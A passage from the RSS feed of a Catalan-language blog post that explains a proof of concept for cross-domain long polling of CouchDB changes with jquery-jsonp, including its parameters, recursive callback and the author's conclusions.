<li>tracta la petició com a long polling (<strong>feed=longpoll</strong>)</li>
<li>mostra els canvis des de la versió X (<strong>since=X</strong>)</li>
<li>quan enviis els canvis fes una crida a la funció de callback definida aquí (<strong>callback=?</strong>)
<ul>
<li>&#8216;?&#8217; és substituit per <strong>jquery-jsonp</strong> per la funció anomenada &#8216;C&#8217;, aquest nom es pot canviar usant paràmetres en la declaració de <strong>$.jsonp()</strong> que ve a continuació</li>
</ul>
</li>
</ul>
<p>Els missatges de l&#8217;estil &#8216;<strong>console.log()</strong>&#8216; són per tenir un seguiment del que va passant a la consola de javascript del navegador.</p>
<p><strong>$.jsonp()</strong> té força paràmetres possibles definits a la <acronym title="Application Programming Interface">API</acronym>, però en aquesta prova de concepte només uso <strong>&#8216;url&#8217;</strong>, <strong>&#8217;success&#8217;</strong> i <strong>&#8216;error&#8217;</strong>. El primer esta clar que és, els altres dos són les funcions a cridar quan l&#8217;acció va bé o malament respectivament. Dins de la funció posem el codi referent a les accions que volem fer, per exemple, actualitzar la pàgina actual. Com que això només és una prova de concepte el que faig és mostrar missatges per consola i llestos. La part més important és fixar-se que quan la cosa ha anat bé es fa una crida a ella mateix de forma que la cosa no acabi mai. De fet quan hi ha un error es podria també fer una crida a si mateix perquè no pares de provar de llençar la petició un i altre cop, però el que he fet per provar eś que es notifiqui a la consola de javascript i prou.</p>
<p>Fora de la funció longpoll el que es fa és una petició JSONP per saber quina és l&#8217;últim número de seqüència de la base de dades, paràmetre necessari per entrar per primera vegada a la <strong>funció recursiva de longpoll</strong>.</p>
<h3>Conclusions</h3>
<p>Pot semblar tot una mica enravassat però diria que he simplificat el problema moltíssim, ja que fins ara havia estat teoritzant moltíssim sobre el tema. Fins que ahir i abans d&#8217;ahir vaig haver de posar-me a provar-ho a la pràctica per saber exactament com es podia implementar. Sota el meu punt de vista ha quedat tot força net i entenedor.</p>
<p>Pels que sou programadors de webs habitualment haureu tingut necessitats semblants així doncs espero que ús pugui ser tan útil com a mi, de fet, fa unes setmanes que estic treballant amb <a title="Tiny Core Linux" href="http://www.tinycorelinux.com/">Tiny Core Linux</a> montant un <a title="wikipedia: Quiet PC" href="http://en.wikipedia.org/wiki/Quiet_PC">Quiet PC</a> sobre una <a title="DOM - Disk On Module" href="http://oriolrius.cat/blog/2005/10/14/dom-diskonmodule"><acronym title="Document Object Model">DOM</acronym> de 512MB</a> per usar-la de sistema de monitorització de les meves xarxes i les d&#8217;alguns clients, espero que d&#8217;aquí uns mesos pugui donar-vos més informació del projecte.</p>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/04/16/long-polling-amb-jqueryjsonpcouchdb-cross-domain-suportat/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
	</channel>
</rss>
